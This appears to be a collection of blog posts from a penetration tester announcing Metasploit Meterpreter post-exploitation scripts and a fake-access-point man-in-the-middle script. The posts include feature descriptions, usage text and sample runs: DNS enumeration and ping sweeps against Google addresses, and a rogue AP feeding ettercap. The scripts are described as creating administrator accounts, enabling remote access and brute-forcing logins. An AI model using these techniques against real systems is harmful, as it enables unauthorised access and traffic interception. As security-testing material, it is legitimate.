Backtrack 4 will be based in Ubuntu

It has been confirmed by Muts that Backtrack4 will be a full distro and based on Ubuntu and the beta for the distribution will be out soon.
http://backtrack4.blogspot.com/

This will make the life of many penetration testers and consultants much easier, specially for keeping their machines up to date, specially since for many attacks and techniques one has to "Hack Naked" with out a firewall. I'm really looking forward to the beta so I can start updating my scripts for the new distribution.

More Meterpreter Post Exploitation Fun

Well guys 2 more of my scripts passed mustered and where committed to the Metasploit SVN, this scripts are:

• gettelnet- This script will enable telnet service on the target machine if it is running Windows 2003 or higher, in the case of Windows Vista and Windows 2008 that do not have the service installed by default the script will install the service and configure it to start automatically, in addition a username and password can be provided so that a local account with administrative privelages can be created and placed in the apropiate groups.
• remotewinenun - This script will run wmic command enumerating diferent settings from a target computer using the credential of the process under withc meterpreter is running under, a username and password can also be provided.
  

Meterpreter Post-Exploitation Scripts

Today the Metasploit post-exploitation script I wrote where approved and commited in to Metasploit 3 for enumeration and attack from the compromised machine using Windows native tools for both enumeration and attack. The scripts are:

• Winenum - general windows enumeration script for gathering all kinds of information from windows host adapting the commands and informatio gathered to the version of windows where is ran at.
  
• Netenum - network enumeration script for performing basic network enumeration of the target enviroment. It will perform ping sweeps, hostname bruteforce, reverse lokkups on ranges and general DNS record enumeration.
• Winbf - it will perform loging brute force attacks against winown logins using dictionaries against a single login or a list of usernames. It will also enumerate the current windows account lockout and lenght policy so the user will be able to better tailor the attack.
  
• Getgui - script for enabling RDP and for creating an account adding it to the appropiate groups to be able to get Remote Desktop on the target machine.
  

I hope they are as usefull as the original ones have been for me in client engagements where I was limited by the rules of engagement dictated by some of my clients. Glad to give back to such a good project.

Meterpreter Script for Basic Network Enumeration in Target's Netwrok

Here is a script for basic network enumeration using windows natives tools in the target machine, the script is multi threaded for performance, it will perform the following:

* Ping Sweep
* DNS Reverse lookup on IP range
* Fordward Lookup bruteforce using a List of hostnames
* Get NS and MX records for a given domain.

you can download the script from http://www.darkoperator.com/netenum.tar.gz
Let me know if you like it and any recommendations are welcomed.

here is some sample output:

Code:

meterpreter > run netenum
Network Enumerator Meterpreter Script by Darkoperator
Carlos Perez carlos_perez@darkoperator.com
Usage:
OPTIONS:
   -d   Domain Name for DNS Fordward Lookup
   -fl        To Perform DNS Fordward Lookup on host list and domain
   -h        Help menu.
   -hl   File with Host List for DNS Fordward Lookup
   -ps        To Perform Ping Sweeo on IP Range
   -r   The target address range or CIDR identifier
   -rl        To Perform DNS Reverse Lookup on IP Range
   -st        To Perform DNS lookup of MX, NS and SOA records for a domain
meterpreter > run netenum -fl -hl /home/carlos/hostlist.txt -d google.com
[*] Network Enumerator Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Performing DNS Fordward Lookup for hosts in /home/carlos/hostlist.txt for domain google.com
[*]     Name:cg-in-f100.google.com    209.85.171.100
[*]     Name:cg-in-f102.google.com    209.85.171.102
[*]     Name:googlemail.l.google.com    209.85.133.83,209.85.133.18,209.85.133.19
[*]     Name:cg-in-f101.google.com    209.85.171.101
meterpreter > run netenum -rl -r 209.85.171.100-209.85.171.110
[*] Network Enumerator Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Performing DNS Reverse Lookup for IP range 209.85.171.100-209.85.171.110
[*]      209.85.171.100 is cg-in-f100.google.com
[*]      209.85.171.101 is cg-in-f101.google.com
[*]      209.85.171.102 is cg-in-f102.google.com
[*]      209.85.171.103 is cg-in-f103.google.com
[*]      209.85.171.104 is cg-in-f104.google.com
[*]      209.85.171.108 is cg-in-f108.google.com
meterpreter > run netenum -st -d google.com
[*] Getting MX and NS Records for Domain google.com
[*]     Non-authoritative answer:
[*]   
[*]     google.com    MX preference = 10, mail exchanger = smtp4.google.com
[*]     google.com    MX preference = 10, mail exchanger = smtp1.google.com
[*]     google.com    MX preference = 10, mail exchanger = smtp2.google.com
[*]     google.com    MX preference = 10, mail exchanger = smtp3.google.com
[*]   
[*]     google.com    nameserver = ns3.google.com
[*]     google.com    nameserver = ns4.google.com
[*]     google.com    nameserver = ns1.google.com
[*]     google.com    nameserver = ns2.google.com
[*]     smtp1.google.com    internet address = 209.85.237.25
[*]     smtp2.google.com    internet address = 64.233.165.25
[*]     smtp3.google.com    internet address = 64.233.183.25
[*]     smtp4.google.com    internet address = 72.14.221.25
[*]     ns1.google.com    internet address = 216.239.32.10
[*]     ns2.google.com    internet address = 216.239.34.10
[*]     ns3.google.com    internet address = 216.239.36.10
[*]     ns4.google.com    internet address = 216.239.38.10
meterpreter > run netenum -ps -r 209.85.171.100-209.85.171.110
[*] Network Enumerator Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Performing ping sweep for IP range 209.85.171.100-209.85.171.110
[*]     209.85.171.100 host found
[*]     209.85.171.101 host found
[*]     209.85.171.102 host found
[*]     209.85.171.103 host found
[*]     209.85.171.104 host found

Script for generating Fake AP with Kama Functionality for MITM Attacks

the Script will launch depending on the options a valid routed AP in karma mode, it will capture all packets and will launch ettercap. You can choose if you use Airbase-ng or the Madwifi drivers with Digininja's Karma Patch and HD's additions, this is the default madwifi drivers in Backtrack3. Aircrack-ng must be upgraded to the latest development version for the script to work with the Airbase-ng functionality. I hope you guys like it.

http://www.darkoperator.com/mitmap.tar.gz

bt ~ # ./mitmap.sh
Scritp for launching Fake AP to perform Man in The Middle Attack
By Carlos_Perez[at]darkoperator.com
Ver 0.1.1
Usage:
./mitmap.sh -m mode -i wireless interface -o internet interface 
Modes:
ap              :Access Point using Airbase-ng
apf             :Access Point using Airbase-ng and MAC Filtering
apa             :Access Point using Digininja patched Madwifi kernel modules
apaf            :Access Point using Digininja patched Madwifi Kernel modules and MAC filtering
Options:
-s ssid       :SSID to use for the Fake AP
-f text file  :text file containing MAC addresses to use as filter one per line
-d dhcpd conf :Dhcpd configuration file
-h              : This help message
bt ~ # ./mitmap.sh -m ap -s Danger -d ./dhcpd.conf -i ath0 -o eth0
Changing MAC Address
Current MAC: 00:40:96:af:47:65 [wireless] (Cisco        AIR-PC4800, 350, AIR-PCM340, AIR-PCM352)
Faked MAC:   00:01:1e:b7:a7:1f (Precidia Technologies, Inc.)
starting fake ap
This will take 15 seconds ..............
Changing MTU Size for At0 to 1400
DHCPD started succesfully
Starting Packet capture to /root/apmitm-Jan-02-09-010919.cap
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on at0... (Ethernet)
  at0 ->       00:01:1E:B7:A7:1F          10.0.0.1     255.255.255.0
Privileges dropped to UID 0 GID 0...
 28 plugins
 39 protocol dissectors
 53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help